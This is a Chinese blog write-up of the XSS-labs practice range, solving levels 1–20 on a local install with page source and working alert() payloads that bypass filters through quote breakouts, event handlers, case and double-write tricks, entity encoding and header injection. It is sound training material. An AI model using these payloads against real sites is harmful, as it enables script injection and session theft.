XSS-labs靶场练习

1.环境搭建

先去GitHub下载,点这。然后利用phpstudy启动服务访问即可,具体的百度都有。

level 1

观察源代码

<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户1"></h2></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:8</h3></body>
</html>

</h2>闭合前面的<h2>,在执行一个xss比如<script>alert('xss')</script>即可完成第一关,payload:

http://127.0.0.1/xss-labs-master/level1.php?name=</h2><script>alert('xss')</script>

level2


<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

先用第一关的payload试试,发现行不通,变成了这样

h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;/h2&gt;&lt;script&gt;alert('xss')&lt;/script&gt;相关的结果.</h2><center>

可以看到下面有
<input name=keyword value="test">我们要填入的变量是value,假如填一个1">插入后语句变成<input name=keyword value="1">">那么后面的内容不就可以自己构造了吗,payload:
1"><script>alert('xss')</script>

level3

<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value=''>	
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>

好像没什么不一样,尝试输入payload,发现过滤了'> (' ')等等类似的危险字符,输入后会被转义,这里使用JavaScript事件来利用,payload' onclick='javascript:alert(2,插入后为

<input name=keyword  value='' onclick='javascript:alert(2)'>

点击页面即可过关.

level4

<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和try harder相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="try harder">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:10</h3></body>
</html>

简单测试,发现过滤了尖括号,那么使用不需要尖括号就能触发的payload,将3的单引号变成双引号就可以了,最后得

<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和&quot; onclick=&quot;javascript:alert(2)相关的结果.</h2><center>

点击即可触发进入下一关

level 5

源码几乎一样,过滤规则改变,尝试输入<script>alert('xss')</script>,发现变成了<scr_ipt>alert('xss')</script>,onclick也变成了o_nclick,尝试img标签,没有绕过,插入后没反应不知道为什么,试了另一个JavaScript事件,先闭合前面的标签,用">,payload:
1"><a href="javascript:alert('xss')">123</a>随后点击123即可
看了网上基本都是这样,于是我想找找别的方法,这个也可以
1"><iframe src="javascript:alert('123');">(随便填)</iframe>

level 6

过滤规则好像差不多,多了href,src,所以上面的用不了,搞半天是大小写绕过…

level 7

过滤了指定字符,src,script这些,双写绕过。

level 8

用url编码或者html实体编码绕过
HTML实体编码表
javasc&#82;ipt:alert('xss')

level 9

不看源码盲猜猜不出,源码中必须要有http://,不然就不合法
编码绕过…
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://

level 10

看源码,发现有三个hidden的参数,于是想到了注释来绕过,但是只有发现t_sort会变,且尖括号被过滤
payload:?t_sort="onclick="alert(%27xss%27)"
F12把hidden删掉然后点击即可

level 11

<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ref"  value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>

观察到有多个变量,再试试注释的方法,还是只有第三个变量能传值,尝试闭合,有过滤,还是用下面这种方法吧,看了网上还有别的方式,就是抓包后在referer处修改值就会使得t_ref的值改变,尖括号过滤,用"闭合前面的值,直接放链接吧点这里

level12

<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>

根据前两关的经验,这t_ua应该就是抓包修改ua头,先试试能不能直接改,直接改并不行,抓包修改,比较简单,payload1"> onclick="alert(1)

level 13

13关源码差不多 只是t_ua变成了t_cook,盲猜一手cookie,抓包一看果然是。用上面的payload打,将hidden删掉,成功

level 14

14关比较奇特,F12看没有传值的地方,并且一直转圈圈然后提示连接失败,看了一下wp发现这题依旧没法做了,具体的参考这个

level 15

/script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:"></span></body>

发现有个ng-include,百度一下

ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
需要单引号包裹,否则变成注释。

源码

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

这里get一个src,并且将参数进行了HTML实体转换,payload
src='level1.php?name=test<img src=1 onerror=alert(1)>'

level 16

空格,script,/都被过滤,可以用%0a或者%0d代替空格
直接插入即可
payload <img%0Dsrc=1%0Donerror=alert(1)>

level 17

给了两个参数get传,查看传参点,直接

http://127.0.0.1/xss-labs-master/level17.php?arg01=123123&arg02=asdasd%22%20onmousemove=alert(12)

就成功了,用onclick click不出,所以用move

level 18

<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<embed src=xsf02.swf?a=b width=100% heigth=100%></body>
</html>

url:http://127.0.0.1/xss-labs-master/level18.php?arg01=a&arg02=b
和前一关没啥区别啊…http://127.0.0.1/xss-labs-master/level18.php?arg01=a&arg02=c%20onmousemove=alert(1)即可

level 19 20

代码差不多 但是此前的payload都用不了,看了一下embed src 是搞flash的,但是google已经把flash禁用了,我这里加载不出插件,给两篇文章学习
level 19
level 20
最后送一张图,总结知识点网上找的
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值